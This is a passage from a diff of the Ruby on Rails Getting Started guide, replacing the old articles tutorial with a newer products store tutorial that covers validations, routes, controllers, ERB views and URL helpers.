-you run this migration. The action defined in this method is also reversible,
-which means Rails knows how to reverse the change made by this migration,
-in case you want to reverse it later. When you run this migration it will create
-an `articles` table with one string column and a text column. It also creates
-two timestamp fields to allow Rails to track article creation and update times.
-
-TIP: For more information about migrations, refer to [Active Record Migrations]
-(active_record_migrations.html).
+### Deleting Records
 
-At this point, you can use a bin/rails command to run the migration:
+The `destroy` method can be used to delete a record from the database.
 
-```bash
-$ bin/rails db:migrate
+```irb
+store(dev)> product.destroy
+  TRANSACTION (0.1ms)  BEGIN immediate TRANSACTION /*application='Store'*/
+  Product Destroy (0.4ms)  DELETE FROM "products" WHERE "products"."id" = 1 /*application='Store'*/
+  TRANSACTION (0.1ms)  COMMIT TRANSACTION /*application='Store'*/
+=> #<Product:0x0000000125813d48 id: 1, name: "T-Shirt", created_at: "2024-11-09 22:39:38.498730000 +0000", updated_at: "2024-11-09 22:39:38.498730000 +0000">
 ```
 
-Rails will execute this migration command and tell you it created the Articles
-table.
+This deleted the T-Shirt product from our database. We can confirm this with
+`Product.all` to see that it only returns Pants.
 
-```bash
-==  CreateArticles: migrating ==================================================
--- create_table(:articles)
-   -> 0.0019s
-==  CreateArticles: migrated (0.0020s) =========================================
+```irb
+store(dev)> Product.all
+  Product Load (1.9ms)  SELECT "products".* FROM "products" /* loading for pp */ LIMIT 11 /*application='Store'*/
+=>
+[#<Product:0x000000012abde4c8
+  id: 2,
+  name: "Pants",
+  created_at: "2024-11-09 22:33:19.638912000 +0000",
+  updated_at: "2024-11-09 22:33:19.638912000 +0000">]
 ```
 
-NOTE. Because you're working in the development environment by default, this
-command will apply to the database defined in the `development` section of your
-`config/database.yml` file. If you would like to execute migrations in another
-environment, for instance in production, you must explicitly pass it when
-invoking the command: `bin/rails db:migrate RAILS_ENV=production`.
+### Validations
 
-### Saving data in the controller
+Active Record provides *validations* which allows you to ensure data inserted
+into the database adheres to certain rules.
 
-Back in `ArticlesController`, we need to change the `create` action
-to use the new `Article` model to save the data in the database.
-Open `app/controllers/articles_controller.rb` and change the `create` action to
-look like this:
+Let's add a `presence` validation to the Product model to ensure that all
+products must have a `name`.
 
 ```ruby
-def create
-  @article = Article.new(params[:article])
-
-  @article.save
-  redirect_to @article
+# app/models/product.rb
+class Product < ApplicationRecord
+  validates :name, presence: true
 end
 ```
 
-Here's what's going on: every Rails model can be initialized with its
-respective attributes, which are automatically mapped to the respective
-database columns. In the first line we do just that (remember that
-`params[:article]` contains the attributes we're interested in). Then,
-`@article.save` is responsible for saving the model in the database. Finally,
-we redirect the user to the `show` action, which we'll define later.
+You might remember that Rails automatically reloads changes during development.
+However, if the console is running when you make updates to the code, you'll
+need to manually refresh it. So let's do this now by running 'reload!'.
 
-TIP: You might be wondering why the `A` in `Article.new` is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named `Article` that is defined in `app/models/article.rb`. Class names in Ruby must begin with a capital letter.
+```irb
+store(dev)> reload!
+Reloading...
+```
 
-TIP: As we'll see later, `@article.save` returns a boolean indicating whether
-the article was saved or not.
+Let's try to create a Product without a name in the Rails console.
 
-If you now go to <http://localhost:3000/articles/new> you'll *almost* be able
-to create an article. Try it! You should get an error that looks like this:
+```irb
+store(dev)> product = Product.new
+store(dev)> product.save
+=> false
+```
 
-![Forbidden attributes for new article]
-(images/getting_started/forbidden_attributes_for_new_article.png)
+This time `save` returns `false` because the `name` attribute wasn't specified.
 
-Rails has several security features that help you write secure applications,
-and you're running into one of them now. This one is called [strong parameters](action_controller_overview.html#strong-parameters),
-which requires us to tell Rails exactly which parameters are allowed into our
-controller actions.
+Rails automatically runs validations during create, update, and save operations
+to ensure valid input. To see a list of errors generated by validations, we can
+call `errors` on the instance.
 
-Why do you have to bother? The ability to grab and automatically assign all
-controller parameters to your model in one shot makes the programmer's job
-easier, but this convenience also allows malicious use. What if a request to
-the server was crafted to look like a new article form submit but also included
-extra fields with values that violated your application's integrity? They would
-be 'mass assigned' into your model and then into the database along with the
-good stuff - potentially breaking your application or worse.
+```irb
+store(dev)> product.errors
+=> #<ActiveModel::Errors [#<ActiveModel::Error attribute=name, type=blank, options={}>]>
+```
 
-We have to whitelist our controller parameters to prevent wrongful mass
-assignment. In this case, we want to both allow and require the `title` and
-`text` parameters for valid use of `create`. The syntax for this introduces
-`require` and `permit`. The change will involve one line in the `create` action:
+This returns an `ActiveModel::Errors` object that can tell us exactly which
+errors are present.
 
-```ruby
-  @article = Article.new(params.require(:article).permit(:title, :text))
+It also can generate friendly error messages for us that we can use in our user
+interface.
+
+```irb
+store(dev)> product.errors.full_messages
+=> ["Name can't be blank"]
 ```
 
-This is often factored out into its own method so it can be reused by multiple
-actions in the same controller, for example `create` and `update`. Above and
-beyond mass assignment issues, the method is often made `private` to make sure
-it can't be called outside its intended context. Here is the result:
+Now let's build a web interface for our Products.
 
-```ruby
-def create
-  @article = Article.new(article_params)
+We are done with the console for now, so you can exit out of it by running
+`exit`.
 
-  @article.save
-  redirect_to @article
-end
+A Request's Journey Through Rails
+---------------------------------
 
-private
-  def article_params
-    params.require(:article).permit(:title, :text)
-  end
-```
+To get Rails saying "Hello", you need to create at minimum a _route_, a
+_controller_ with an _action_, and a _view_. A route maps a request to a
+controller action. A controller action performs the necessary work to handle the
+request, and prepares any data for the view. A view displays data in a desired
+format.
+
+In terms of implementation: Routes are rules written in a Ruby
+[DSL (Domain-Specific Language)](https://en.wikipedia.org/wiki/Domain-specific_language).
+Controllers are Ruby classes, and their public methods are actions. And views
+are templates, usually written in a mixture of HTML and Ruby.
 
-TIP: For more information, refer to the reference above and
-[this blog article about Strong Parameters]
-(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+That's the short of it, but we’re going to walk through each of these steps in
+more detail next.
 
-### Showing Articles
+Routes
+------
 
-If you submit the form again now, Rails will complain about not finding the
-`show` action. That's not very useful though, so let's add the `show` action
-before proceeding.
+In Rails, a route is the part of the URL that determines how an incoming HTTP
+request is directed to the appropriate controller and action for processing.
+First, let's do a quick refresher on URLs and HTTP Request methods.
 
-As we have seen in the output of `bin/rails routes`, the route for `show` action is
-as follows:
+### Parts of a URL
+
+Let's examine the different parts of a URL:
 
 ```
-article GET    /articles/:id(.:format)      articles#show
+https://example.org/products?sale=true&sort=asc
 ```
 
-The special syntax `:id` tells rails that this route expects an `:id`
-parameter, which in our case will be the id of the article.
+In this URL, each part has a name:
 
-As we did before, we need to add the `show` action in
-`app/controllers/articles_controller.rb` and its respective view.
+- `https` is the **protocol**
+- `example.org` is the **host**
+- `/products` is the **path**
+- `?sale=true&sort=asc` are the **query parameters**
 
-NOTE: A frequent practice is to place the standard CRUD actions in each
-controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update`
-and `destroy`. You may use any order you choose, but keep in mind that these
-are public methods; as mentioned earlier in this guide, they must be placed
-before declaring `private` visibility in the controller.
+### HTTP Methods and Their Purpose
 
-Given that, let's add the `show` action, as follows:
+HTTP requests use methods to tell a server what action it should perform for a
+given URL. Here are the most common methods:
 
-```ruby
-class ArticlesController < ApplicationController
-  def show
-    @article = Article.find(params[:id])
-  end
+- A `GET` request tells the server to retrieve the data for a given URL (e.g.,
+  loading a page or fetching a record).
+- A `POST` request will submit data to the URL for processing (usually creating
+  a new record).
+- A `PUT` or `PATCH` request submits data to a URL to update an existing record.
+- A `DELETE` request to a URL tells the server to delete a record.
 
-  def new
-  end
+### Rails Routes
 
-  # snippet for brevity
+A `route` in Rails refers to a line of code that pairs an HTTP Method and a URL
+path. The route also tells Rails which `controller` and `action` should respond
+to a request.
+
+To define a route in Rails, let's go back to your code editor and add the
+following route to `config/routes.rb`
+
+```ruby
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  get "/products", to: "products#index"
+end
 ```
 
-A couple of things to note. We use `Article.find` to find the article we're
-interested in, passing in `params[:id]` to get the `:id` parameter from the
-request. We also use an instance variable (prefixed with `@`) to hold a
-reference to the article object. We do this because Rails will pass all instance
-variables to the view.
+This route tells Rails to look for GET requests to the `/products` path. In this
+example, we specified `"products#index"` for where to route the request.
 
-Now, create a new file `app/views/articles/show.html.erb` with the following
-content:
+When Rails sees a request that matches, it will send the request to the
+`ProductsController` and the `index` action inside of that controller. This is
+how Rails will process the request and return a response to the browser.
 
-```html+erb
-<p>
-  <strong>Title:</strong>
-  <%= @article.title %>
-</p>
+You'll notice that we don't need to specify the protocol, domain, or query
+params in our routes. That's basically because the protocol and domain make sure
+the request reaches your server. From there, Rails picks up the request and
+knows which path to use for responding to the request based on what routes are
+defined. The query params are like options that Rails can use to apply to the
+request, so they are typically used in the controller for filtering the data.
 
-<p>
-  <strong>Text:</strong>
-  <%= @article.text %>
-</p>
-```
+<picture class="flowdiagram">
+  <source srcset="images/getting_started/routing_dark.jpg" media="(prefers-color-scheme:dark)">
+  <img src="images/getting_started/routing_light.jpg">
+</picture>
 
-With this change, you should finally be able to create new articles.
-Visit <http://localhost:3000/articles/new> and give it a try!
+Let's look at another example. Add this line after the previous route:
 
-![Show action for articles](images/getting_started/show_action_for_articles.png)
+```ruby#5
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  get "/products", to: "products#index"
+  post "/products", to: "products#create"
+end
+```
 
-### Listing all articles
+Here, we've told Rails to take POST requests to "/products" and process them
+with the `ProductsController` using the `create` action.
 
-We still need a way to list all our articles, so let's do that.
-The route for this as per output of `bin/rails routes` is:
+Routes may also need to match URLs with certain patterns. So how does that work?
 
-```
-articles GET    /articles(.:format)          articles#index
+```ruby#4
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  get "/products/:id", to: "products#show"
+end
 ```
 
-Add the corresponding `index` action for that route inside the
-`ArticlesController` in the `app/controllers/articles_controller.rb` file.
-When we write an `index` action, the usual practice is to place it as the
-first method in the controller. Let's do it:
+This route has `:id` in it. This is called a `parameter` and it captures a
+portion of the URL to be used later for processing the request.
 
-```ruby
-class ArticlesController < ApplicationController
-  def index
-    @articles = Article.all
-  end
+If a user visits `/products/1`, the `:id` param is set to `1` and can be used in
+the controller action to look up and display the Product record with an ID of 1.
+`/products/2` would display Product with an ID of 2 and so on.
 
-  def show
-    @article = Article.find(params[:id])
-  end
+Route parameters don't have to be Integers, either.
 
-  def new
-  end
+For example, you could have a blog with articles and match `/blog/hello-world`
+with the following route:
 
-  # snippet for brevity
+```ruby
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  get "/blog/:title", to: "blog#show"
+end
 ```
 
-And then finally, add the view for this action, located at
-`app/views/articles/index.html.erb`:
+Rails will capture `hello-world` out of `/blog/hello-world` and this can be used
+to look up the blog post with the matching title.
 
-```html+erb
-<h1>Listing articles</h1>
+#### CRUD Routes
 
-<table>
-  <tr>
-    <th>Title</th>
-    <th>Text</th>
-  </tr>
+There are 4 common actions you will generally need for a resource: Create, Read,
+Update, Delete (CRUD). This translates to 8 typical routes:
 
-  <% @articles.each do |article| %>
-    <tr>
-      <td><%= article.title %></td>
-      <td><%= article.text %></td>
-      <td><%= link_to 'Show', article_path(article) %></td>
-    </tr>
-  <% end %>
-</table>
-```
+* Index - Shows all the records
+* New - Renders a form for creating a new record
+* Create - Processes the new form submission, handling errors and creating the
+  record
+* Show - Renders a specific record for viewing
+* Edit - Renders a form for updating a specific record
+* Update (full) - Handles the edit form submission, handling errors and updating the entire record, and typically triggered by a PUT request.
+* Update (partial) - Handles the edit form submission, handling errors and updating specific attributes of the record, and typically triggered by a PATCH request.
+* Destroy - Handles deleting a specific record
 
-Now if you go to <http://localhost:3000/articles> you will see a list of all the
-articles that you have created.
+We can add routes for these CRUD actions with the following:
 
-### Adding links
+```ruby
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  get "/products", to: "products#index"
 
-You can now create, show, and list articles. Now let's add some links to
-navigate through pages.
+  get "/products/new", to: "products#new"
+  post "/products", to: "products#create"
 
-Open `app/views/welcome/index.html.erb` and modify it as follows:
+  get "/products/:id", to: "products#show"
 
-```html+erb
-<h1>Hello, Rails!</h1>
-<%= link_to 'My Blog', controller: 'articles' %>
+  get "/products/:id/edit", to: "products#edit"
+  patch "/products/:id", to: "products#update"
+  put "/products/:id", to: "products#update"
+
+  delete "/products/:id", to: "products#destroy"
+end
 ```
 
-The `link_to` method is one of Rails' built-in view helpers. It creates a
-hyperlink based on text to display and where to go - in this case, to the path
-for articles.
+#### Resource Routes
 
-Let's add links to the other views as well, starting with adding this
-"New Article" link to `app/views/articles/index.html.erb`, placing it above the
-`<table>` tag:
+Typing out these routes every time is redundant, so Rails provides a shortcut
+for defining them. To create all of the same CRUD routes, replace the above
+routes with this single line:
 
-```erb
-<%= link_to 'New article', new_article_path %>
+```ruby
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  resources :products
+end
 ```
 
-This link will allow you to bring up the form that lets you create a new article.
+TIP: If you don’t want all these CRUD actions, you specify exactly what you
+need. Check out the [routing guide](routing.html) for details.
 
-Now, add another link in `app/views/articles/new.html.erb`, underneath the
-form, to go back to the `index` action:
+### Routes Command
 
-```erb
-<%= form_for :article, url: articles_path do |f| %>
-  ...
-<% end %>
-
-<%= link_to 'Back', articles_path %>
-```
+Rails provides a command that displays all the routes your application responds
+to.
 
-Finally, add a link to the `app/views/articles/show.html.erb` template to
-go back to the `index` action as well, so that people who are viewing a single
-article can go back and view the whole list again:
+In your terminal, run the following command.
 
-```html+erb
-<p>
-  <strong>Title:</strong>
-  <%= @article.title %>
-</p>
+```bash
+$ bin/rails routes
+```
 
-<p>
-  <strong>Text:</strong>
-  <%= @article.text %>
-</p>
+You'll see this in the output which are the routes generated by
+`resources :products`
 
-<%= link_to 'Back', articles_path %>
+```
+      Prefix Verb   URI Pattern                  Controller#Action
+    products GET    /products(.:format)          products#index
+             POST   /products(.:format)          products#create
+ new_product GET    /products/new(.:format)      products#new
+edit_product GET    /products/:id/edit(.:format) products#edit
+     product GET    /products/:id(.:format)      products#show
+             PATCH  /products/:id(.:format)      products#update
+             PUT    /products/:id(.:format)      products#update
+             DELETE /products/:id(.:format)      products#destroy
 ```
 
-TIP: If you want to link to an action in the same controller, you don't need to
-specify the `:controller` option, as Rails will use the current controller by
-default.
+You'll also see routes from other built-in Rails features like health checks.
 
-TIP: In development mode (which is what you're working in by default), Rails
-reloads your application with every browser request, so there's no need to stop
-and restart the web server when a change is made.
+Controllers & Actions
+---------------------
 
-### Adding Some Validation
+Now that we've defined routes for Products, let's implement the controller and
+actions to handle requests to these URLs.
 
-The model file, `app/models/article.rb` is about as simple as it can get:
+This command will generate a `ProductsController` with an index action. Since
+we've already set up routes, we can skip that part of the generator using a
+flag.
 
-```ruby
-class Article < ApplicationRecord
-end
+```bash
+$ bin/rails generate controller Products index --skip-routes
+      create  app/controllers/products_controller.rb
+      invoke  erb
+      create    app/views/products
+      create    app/views/products/index.html.erb
+      invoke  test_unit
+      create    test/controllers/products_controller_test.rb
+      invoke  helper
+      create    app/helpers/products_helper.rb
+      invoke    test_unit
 ```
 
-There isn't much to this file - but note that the `Article` class inherits from
-`ApplicationRecord`. `ApplicationRecord` inherits from `ActiveRecord::Base`
-which supplies a great deal of functionality to your Rails models for free,
-including basic database CRUD (Create, Read, Update, Destroy) operations, data
-validation, as well as sophisticated search support and the ability to relate
-multiple models to one another.
-
-Rails includes methods to help you validate the data that you send to models.
-Open the `app/models/article.rb` file and edit it:
-
-```ruby
-class Article < ApplicationRecord
-  validates :title, presence: true,
-                    length: { minimum: 5 }
-end
-```
+This command generates a handful of files for our controller:
 
-These changes will ensure that all articles have a title that is at least five
-characters long. Rails can validate a variety of conditions in a model,
-including the presence or uniqueness of columns, their format, and the
-existence of associated objects. Validations are covered in detail in [Active
-Record Validations](active_record_validations.html).
+* The controller itself
+* A views folder for the controller we generated
+* A view file for the action we specified when generating the controller
+* A test file for this controller
+* A helper file for extracting logic in our views
 
-With the validation now in place, when you call `@article.save` on an invalid
-article, it will return `false`. If you open
-`app/controllers/articles_controller.rb` again, you'll notice that we don't
-check the result of calling `@article.save` inside the `create` action.
-If `@article.save` fails in this situation, we need to show the form back to the
-user. To do this, change the `new` and `create` actions inside
-`app/controllers/articles_controller.rb` to these:
+Let's take a look at the ProductsController defined in
+`app/controllers/products_controller.rb`. It looks like this:
 
 ```ruby
-def new
-  @article = Article.new
-end
-
-def create
-  @article = Article.new(article_params)
-
-  if @article.save
-    redirect_to @article
-  else
-    render 'new'
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  def index
   end
 end
-
-private
-  def article_params
-    params.require(:article).permit(:title, :text)
-  end
 ```
 
-The `new` action is now creating a new instance variable called `@article`, and
-you'll see why that is in just a few moments.
-
-Notice that inside the `create` action we use `render` instead of `redirect_to`
-when `save` returns `false`. The `render` method is used so that the `@article`
-object is passed back to the `new` template when it is rendered. This rendering
-is done within the same request as the form submission, whereas the
-`redirect_to` will tell the browser to issue another request.
-
-If you reload
-<http://localhost:3000/articles/new> and
-try to save an article without a title, Rails will send you back to the
-form, but that's not very useful. You need to tell the user that
-something went wrong. To do that, you'll modify
-`app/views/articles/new.html.erb` to check for error messages:
-
-```html+erb
-<%= form_for :article, url: articles_path do |f| %>
-
-  <% if @article.errors.any? %>
-    <div id="error_explanation">
-      <h2>
-        <%= pluralize(@article.errors.count, "error") %> prohibited
-        this article from being saved:
-      </h2>
-      <ul>
-        <% @article.errors.full_messages.each do |msg| %>
-          <li><%= msg %></li>
-        <% end %>
-      </ul>
-    </div>
-  <% end %>
-
-  <p>
-    <%= f.label :title %><br>
-    <%= f.text_field :title %>
-  </p>
-
-  <p>
-    <%= f.label :text %><br>
-    <%= f.text_area :text %>
-  </p>
+NOTE: You may notice the file name `products_controller.rb` is an underscored
+version of the Class this file defines, `ProductsController`. This pattern helps
+Rails to automatically load code without having to use `require` like you may
+have seen in other languages.
 
-  <p>
-    <%= f.submit %>
-  </p>
+The `index` method here is an Action. Even though it's an empty method, Rails
+will default to rendering a template with the matching name.
 
-<% end %>
+The `index` action will render `app/views/products/index.html.erb`. If we open
+up that file in our code editor, we'll see the HTML it renders.
 
-<%= link_to 'Back', articles_path %>
+```erb
+<%# app/views/products/index.html.erb %>
+<h1>Products#index</h1>
+<p>Find me in app/views/products/index.html.erb</p>
 ```
 
-A few things are going on. We check if there are any errors with
-`@article.errors.any?`, and in that case we show a list of all
-errors with `@article.errors.full_messages`.
+### Making Requests
 
-`pluralize` is a rails helper that takes a number and a string as its
-arguments. If the number is greater than one, the string will be automatically
-pluralized.
+Let's see this in our browser. First, run `bin/rails server` in your terminal to
+start the Rails server. Then open http://localhost:3000 and you will see the
+Rails welcome page.
 
-The reason why we added `@article = Article.new` in the `ArticlesController` is
-that otherwise `@article` would be `nil` in our view, and calling
-`@article.errors.any?` would throw an error.
+If we open http://localhost:3000/products in the browser, Rails will render the
+products index HTML.
 
-TIP: Rails automatically wraps fields that contain an error with a div
-with class `field_with_errors`. You can define a css rule to make them
-standout.
+Our browser requested `/products` and Rails matched this route to
+`products#index`. Rails sent the request to the `ProductsController` and called
+the `index` action. Since this action was empty, Rails rendered the matching
+template at `app/views/products/index.html.erb` and returned that to our
+browser. Pretty cool!
 
-Now you'll get a nice error message when saving an article without title when
-you attempt to do just that on the new article form
-<http://localhost:3000/articles/new>:
+If we open `config/routes.rb`, we can tell Rails the root route should render
+the Products index action by adding this line:
+
+```ruby#4
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  root "products#index"
+  resources :products
+end
+```
 
-![Form With Errors](images/getting_started/form_with_errors.png)
+Now when you visit http://localhost:3000, Rails will render Products#index.
 
-### Updating Articles
+### Instance Variables
 
-We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating
-articles.
+Let's take this a step further and render some records from our database.
 
-The first step we'll take is adding an `edit` action to the `ArticlesController`,
-generally between the `new` and `create` actions, as shown:
+In the `index` action, let's add a database query and assign it to an instance
+variable. Rails uses instance variables (variables that start with an @) to
+share data with the views.
 
 ```ruby
-def new
-  @article = Article.new
-end
-
-def edit
-  @article = Article.find(params[:id])
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  def index
+    @products = Product.all
+  end
 end
+```
 
-def create
-  @article = Article.new(article_params)
+In `app/views/products/index.html.erb`, we can replace the HTML with this ERB:
 
-  if @article.save
-    redirect_to @article
-  else
-    render 'new'
-  end
-end
+```erb
+<%# app/views/products/index.html.erb %>
+<%= debug @products %>
 ```
 
-The view will contain a form similar to the one we used when creating
-new articles. Create a file called `app/views/articles/edit.html.erb` and make
-it look as follows:
+ERB is short for [Embedded Ruby](https://docs.ruby-lang.org/en/master/ERB.html)
+and allows us to execute Ruby code to dynamically generate HTML with Rails. The
+`<%= %>` tag tells ERB to execute the Ruby code inside and output the return
+value. In our case, this takes `@products`, converts it to YAML, and outputs the
+YAML.
+
+Now refresh http://localhost:3000/ in your browser and you'll see that the
+output has changed. What you're seeing is the records in your database being
+displayed in YAML format.
+
+The `debug` helper prints out variables in YAML format to help with debugging.
+For example, if you weren't paying attention and typed singular `@product`
+instead of plural `@products`, the debug helper could help you identify that the
+variable was not set correctly in the controller.
 
-```html+erb
-<h1>Edit article</h1>
+TIP: Check out the [Action View Helpers guide](action_view_helpers.html) to see
+more helpers that are available.
 
-<%= form_for(@article) do |f| %>
+Let's update `app/views/products/index.html.erb` to render all of our product
+names.
 
-  <% if @article.errors.any? %>
-    <div id="error_explanation">
-      <h2>
-        <%= pluralize(@article.errors.count, "error") %> prohibited
-        this article from being saved:
-      </h2>
-      <ul>
-        <% @article.errors.full_messages.each do |msg| %>
-          <li><%= msg %></li>
-        <% end %>
-      </ul>
+```erb
+<%# app/views/products/index.html.erb %>
+<h1>Products</h1>
+
+<div id="products">
+  <% @products.each do |product| %>
+    <div>
+      <%= product.name %>
     </div>
   <% end %>
+</div>
+```
 
-  <p>
-    <%= f.label :title %><br>
-    <%= f.text_field :title %>
-  </p>
-
-  <p>
-    <%= f.label :text %><br>
-    <%= f.text_area :text %>
-  </p>
+Using ERB, this code loops through each product in the `@products`
+`ActiveRecord::Relation` object and renders a `<div>` tag containing the product
+name.
 
-  <p>
-    <%= f.submit %>
-  </p>
+We've used a new ERB tag this time as well. `<% %>` evaluates the Ruby code but
+does not output the return value. That ignores the output of `@products.each`
+which would output an array that we don't want in our HTML.
 
-<% end %>
+### CRUD Actions
 
-<%= link_to 'Back', articles_path %>
-```
+We need to be able to access individual products. This is the R in CRUD to read
+a resource.
 
-This time we point the form to the `update` action, which is not defined yet
-but will be very soon.
+We've already defined the route for individual products with our
+`resources :products` route. This generates `/products/:id` as a route that
+points to `products#show`.
 
-Passing the article object to the method, will automagically create url for submitting the edited article form. 
-This option tells Rails that we want this form to be submitted
-via the `PATCH` HTTP method which is the HTTP method you're expected to use to
-**update** resources according to the REST protocol.
+Now we need to add that action to the `ProductsController` and define what
+happens when it is called.
 
-The first parameter of `form_for` can be an object, say, `@article` which would
-cause the helper to fill in the form with the fields of the object. Passing in a
-symbol (`:article`) with the same name as the instance variable (`@article`)
-also automagically leads to the same behavior.
-More details can be found in [form_for documentation]
-(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for).
+### Showing Individual Products
 
-Next, we need to create the `update` action in
-`app/controllers/articles_controller.rb`.
-Add it between the `create` action and the `private` method:
+Open the Products controller and add the `show` action like this:
 
 ```ruby
-def create
-  @article = Article.new(article_params)
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  def index
+    @products = Product.all
+  end
 
-  if @article.save
-    redirect_to @article
-  else
-    render 'new'
+  def show
+    @product = Product.find(params[:id])
   end
 end
+```
 
-def update
-  @article = Article.find(params[:id])
+The `show` action here defines the *singular* `@product` because it's loading a
+single record from the database, in other words: Show this one product. We use
+plural `@products` in `index` because we're loading multiple products.
 
-  if @article.update(article_params)
-    redirect_to @article
-  else
-    render 'edit'
-  end
-end
+To query the database, we use `params` to access the request parameters. In this
+case, we're using the `:id` from our route `/products/:id`. When we visit
+`/products/1`, the params hash contains `{id: 1}` which results in our `show`
+action calling `Product.find(1)` to load Product with ID of `1` from the
+database.
 
-private
-  def article_params
-    params.require(:article).permit(:title, :text)
-  end
+We need a view for the show action next. Following the Rails naming conventions,
+the `ProductsController` expects views in `app/views` in a subfolder named
+`products`.
+
+The `show` action expects a file in `app/views/products/show.html.erb`. Let's
+create that file in our editor and add the following contents:
+
+```erb
+<%# app/views/products/show.html.erb %>
+<h1><%= @product.name %></h1>
+
+<%= link_to "Back", products_path %>
 ```
 
-The new method, `update`, is used when you want to update a record
-that already exists, and it accepts a hash containing the attributes
-that you want to update. As before, if there was an error updating the
-article we want to show the form back to the user.
-
-We reuse the `article_params` method that we defined earlier for the create
-action.
-
-TIP: It is not necessary to pass all the attributes to `update`. For example,
-if `@article.update(title: 'A new title')` was called, Rails would only update
-the `title` attribute, leaving all other attributes untouched.
-
-Finally, we want to show a link to the `edit` action in the list of all the
-articles, so let's add that now to `app/views/articles/index.html.erb` to make
-it appear next to the "Show" link:
-
-```html+erb
-<table>
-  <tr>
-    <th>Title</th>
-    <th>Text</th>
-    <th colspan="2"></th>
-  </tr>
-
-  <% @articles.each do |article| %>
-    <tr>
-      <td><%= article.title %></td>
-      <td><%= article.text %></td>
-      <td><%= link_to 'Show', article_path(article) %></td>
-      <td><%= link_to 'Edit', edit_article_path(article) %></td>
-    </tr>
+It would be helpful for the index page to link to the show page for each product
+so we can click on them to navigate. We can update the
+`app/views/products/index.html.erb` view to link to this new page to use an
+anchor tag to the path for the `show` action.
+
+```erb#7,9
+<%# app/views/products/index.html.erb %>
+<h1>Products</h1>
+
+<div id="products">
+  <% @products.each do |product| %>
+    <div>
+      <a href="/products/<%= product.id %>">
+        <%= product.name %>
+      </a>
+    </div>
   <% end %>
-</table>
+</div>
 ```
 
-And we'll also add one to the `app/views/articles/show.html.erb` template as
-well, so that there's also an "Edit" link on an article's page. Add this at the
-bottom of the template:
+Refresh this page in your browser and you'll see that this works, but we can do
+better.
 
-```html+erb
-...
+Rails provides helper methods for generating paths and URLs. When you run
+`bin/rails routes`, you'll see the Prefix column. This prefix matches the
+helpers you can use for generating URLs with Ruby code.
 
-<%= link_to 'Edit', edit_article_path(@article) %> |
-<%= link_to 'Back', articles_path %>
+```
+  Prefix Verb   URI Pattern             Controller#Action
+products GET    /products(.:format)     products#index
+ product GET    /products/:id(.:format) products#show
 ```
 
-And here's how our app looks so far:
+These route prefixes give us helpers like the following:
 
-![Index action with edit link](images/getting_started/index_action_with_edit_link.png)
+* `products_path` generates `"/products"`
+* `products_url` generates `"http://localhost:3000/products"`
+* `product_path(1)` generates `"/products/1"`
+* `product_url(1)` generates `"http://localhost:3000/products/1"`
 
-### Using partials to clean up duplication in views
+`_path` returns a relative path which the browser understands is for the current
+domain.
 
-Our `edit` page looks very similar to the `new` page; in fact, they
-both share the same code for displaying the form. Let's remove this
-duplication by using a view partial. By convention, partial files are
-prefixed with an underscore.
+`_url` returns a full URL including the protocol, host, and port.
 
-TIP: You can read more about partials in the
-[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+URL helpers are useful for rendering emails that will be viewed outside of the
+browser.
 
-Create a new file `app/views/articles/_form.html.erb` with the following
-content:
+Combined with the `link_to` helper, we can generate anchor tags and use the URL
+helper to do this cleanly in Ruby. `link_to` accepts the display content for the
+link (`product.name`) and the path or URL to link to for the `href` attribute
+(`product`).
 
-```html+erb
-<%= form_for @article do |f| %>
+Let's refactor this to use these helpers:
 
-  <% if @article.errors.any? %>
-    <div id="error_explanation">
-      <h2>
-        <%= pluralize(@article.errors.count, "error") %> prohibited
-        this article from being saved:
-      </h2>
-      <ul>
-        <% @article.errors.full_messages.each do |msg| %>
-          <li><%= msg %></li>
-        <% end %>
-      </ul>
+```erb#7
+<%# app/views/products/index.html.erb %>
+<h1>Products</h1>
+
+<div id="products">
+  <% @products.each do |product| %>
+    <div>
+      <%= link_to product.name, product_path(product.id) %>
     </div>
   <% end %>
+</div>
+```
 
-  <p>
-    <%= f.label :title %><br>
-    <%= f.text_field :title %>
-  </p>
-
-  <p>
-    <%= f.label :text %><br>
-    <%= f.text_area :text %>
-  </p>
+### Creating Products
 
-  <p>
-    <%= f.submit %>
-  </p>
+So far we've had to create products in the Rails console, but let's make this
+work in the browser.
 
-<% end %>
-```
+We need to create two actions for create:
 
-Everything except for the `form_for` declaration remained the same.
-The reason we can use this shorter, simpler `form_for` declaration
-to stand in for either of the other forms is that `@article` is a *resource*
-corresponding to a full set of RESTful routes, and Rails is able to infer
-which URI and method to use.
-For more information about this use of `form_for`, see [Resource-oriented style]
-(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
+1. The new product form to collect product information
+2. The create action in the controller to save the product and check for errors
 
-Now, let's update the `app/views/articles/new.html.erb` view to use this new
-partial, rewriting it completely:
+Let's start with our controller actions.
 
-```html+erb
-<h1>New article</h1>
+```ruby
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  def index
+    @products = Product.all
+  end
 
-<%= render 'form' %>
+  def show
+    @product = Product.find(params[:id])
+  end
 
-<%= link_to 'Back', articles_path %>
+  def new
+    @product = Product.new
+  end
+end
 ```
 
-Then do the same for the `app/views/articles/edit.html.erb` view:
+The `new` action instantiates a new `Product` which we will use for displaying
+the form fields.
+
+We can update `app/views/products/index.html.erb` to link to the new action.
 
-```html+erb
-<h1>Edit article</h1>
+```erb#4
+<%# app/views/products/index.html.erb %>
+<h1>Products</h1>
 
-<%= render 'form' %>
+<%= link_to "New product", new_product_path %>
 
-<%= link_to 'Back', articles_path %>
+<div id="products">
+  <% @products.each do |product| %>
+    <div>
+      <%= link_to product.name, product_path(product.id) %>
+    </div>
+  <% end %>
+</div>
 ```
 
